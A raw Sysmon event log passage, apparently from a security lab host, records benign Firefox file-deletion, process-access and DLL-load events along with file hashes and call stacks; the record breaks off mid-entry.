Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=3A22888BDBB7EA2BA1A0BA3C82880AD3,SHA256=2BA61B7647922CBBCB9FAC03C3B3FDE075FA9B26B7DCE0FCABEF6F98A685E27D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=C71DB84D8B531552179C0FE1952A8ADE,SHA256=3865C17E055742566C23F83A35C120DC96446B0A622B96F3BA238D0F86FEA844,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=8A9D66C78207D25100BD7691BE9FE850,SHA256=ACBF7C531E759FD3A5D7DF67BACA9A762461778F894ADD12C1156E74B4EDB2BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=CA93B65F153777605F893F5D653F8117,SHA256=19E7EB2145525F6FFEE0C96AE2D40253A7937A9948D861ACC3708DB1FF6175BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\ProgramData\Mozilla\updates\308046B0AF4A39CB\update-config.jsonMD5=7ABFFE156CFCF61314ACF60B8B8CADE8,SHA256=D33B384DA2A6542D3F4892AAE6CAFCB2B769D867533F71EBF28DACA82EF68CAA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=85F018525BEF41A92E79FB212DF1993A,SHA256=2CEB2999697D94837DB54CA1FE58BED3DCA59857310BFD1112AD917F685D5CC9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=45F98524305810DC5837C8C78DC65371,SHA256=AB764DD319EF53C329E7F27AF41928E4E5E1D0B5C69000A1F6C37CEAB1A2847A,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=D56103AC4E5E46822121F7A0DC059979,SHA256=F0B9E6FBD982DD6AB0A8BC9451A783EF230E6AE35334C088B07794E1FA9B1DF1,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.755{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=B2C970AF2C158BA98E36BAA1A3A11F1E,SHA256=C0D83AD6F43D6DEF781A5D85556F7405D2A9B41F4A2250BE86A7221A4F48AA6E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.739{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=2CC482C5EACEC72582510C935B7E90B0,SHA256=F8F1C6A309F12C7B18E95A179FA55DFA97F6F562DF4D980F3C7F4111C33FEDDB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000050539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.739{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\datareporting\glean\db\data.safe.binMD5=7A84F0D32E8B476E8E66B1EB389BDAA9,SHA256=726C6F5FB592BA2E892EEAB1305273F40121C68DDA726E5219384B6B25B753FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.702{7BD73061-728D-613B-560B-00000000F001}47766624C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+a02441|C:\Program Files\Mozilla Firefox\xul.dll+a63798|C:\Program Files\Mozilla Firefox\xul.dll+ce8b1|C:\Program Files\Mozilla Firefox\xul.dll+19cb8d2|C:\Program Files\Mozilla Firefox\xul.dll+173c649|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26d8a|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.671{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 23542300x800000000000000050536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.655{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EDE27054ADA492090E74C54E1C72A764,SHA256=81351B188523184A0D9FA5D066DF3463C5868599D3DA2BDA4D36D2CD2CDABFF3,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.639{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\freebl3.dll92.0-FirefoxMozilla Foundationfreebl3.dllMD5=8E708A178EA76DAFDA64D6B9290725BA,SHA256=3480BF27277E603806C794CA9378C5EC6E1B41B77432E828D79E846DD64E5DCD,IMPHASH=53652A7DC9DFE48EFEF7CDBD318659AFtrueMozilla CorporationValid 734700x800000000000000050534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.639{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\softokn3.dll92.0-FirefoxMozilla Foundationsoftokn3.dllMD5=D4C21A21AB0C94C96C3B64D447A6B5CD,SHA256=478EEA8D567BCF9226719A080A0C52F6EE13FAAA7E12274778758C7BBE4A7455,IMPHASH=8217C8B17239D6236F43DE3AC007B8A6trueMozilla CorporationValid 10341000x800000000000000050533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.624{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59bc2|C:\Program Files\Mozilla Firefox\xul.dll+b7b74f|C:\Program Files\Mozilla Firefox\xul.dll+1ab2937|C:\Program Files\Mozilla Firefox\xul.dll+efa040|C:\Program Files\Mozilla Firefox\xul.dll+bfb6f4|C:\Program Files\Mozilla Firefox\xul.dll+3136cd|C:\Program Files\Mozilla Firefox\xul.dll+399c9b|C:\Program Files\Mozilla Firefox\xul.dll+39949d|C:\Program Files\Mozilla Firefox\xul.dll+be61ca|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355 10341000x800000000000000050532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.624{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+c0467b|C:\Program Files\Mozilla Firefox\xul.dll+bfd432|C:\Program Files\Mozilla Firefox\xul.dll+c02a70|C:\Program Files\Mozilla Firefox\xul.dll+c031cb|C:\Program Files\Mozilla Firefox\xul.dll+396c71|C:\Program Files\Mozilla Firefox\xul.dll+c03f99|C:\Program Files\Mozilla Firefox\xul.dll+c06f52|C:\Program Files\Mozilla Firefox\xul.dll+c039b6|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+be47e3|C:\Program Files\Mozilla Firefox\xul.dll+1f02d5c|C:\Program Files\Mozilla Firefox\xul.dll+be9f77 10341000x800000000000000050531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.608{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9f964f|C:\Program Files\Mozilla Firefox\xul.dll+a09d17|C:\Program Files\Mozilla Firefox\xul.dll+a799a9|C:\Program Files\Mozilla Firefox\xul.dll+9d2692|C:\Program Files\Mozilla Firefox\xul.dll+8aa7fa|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla 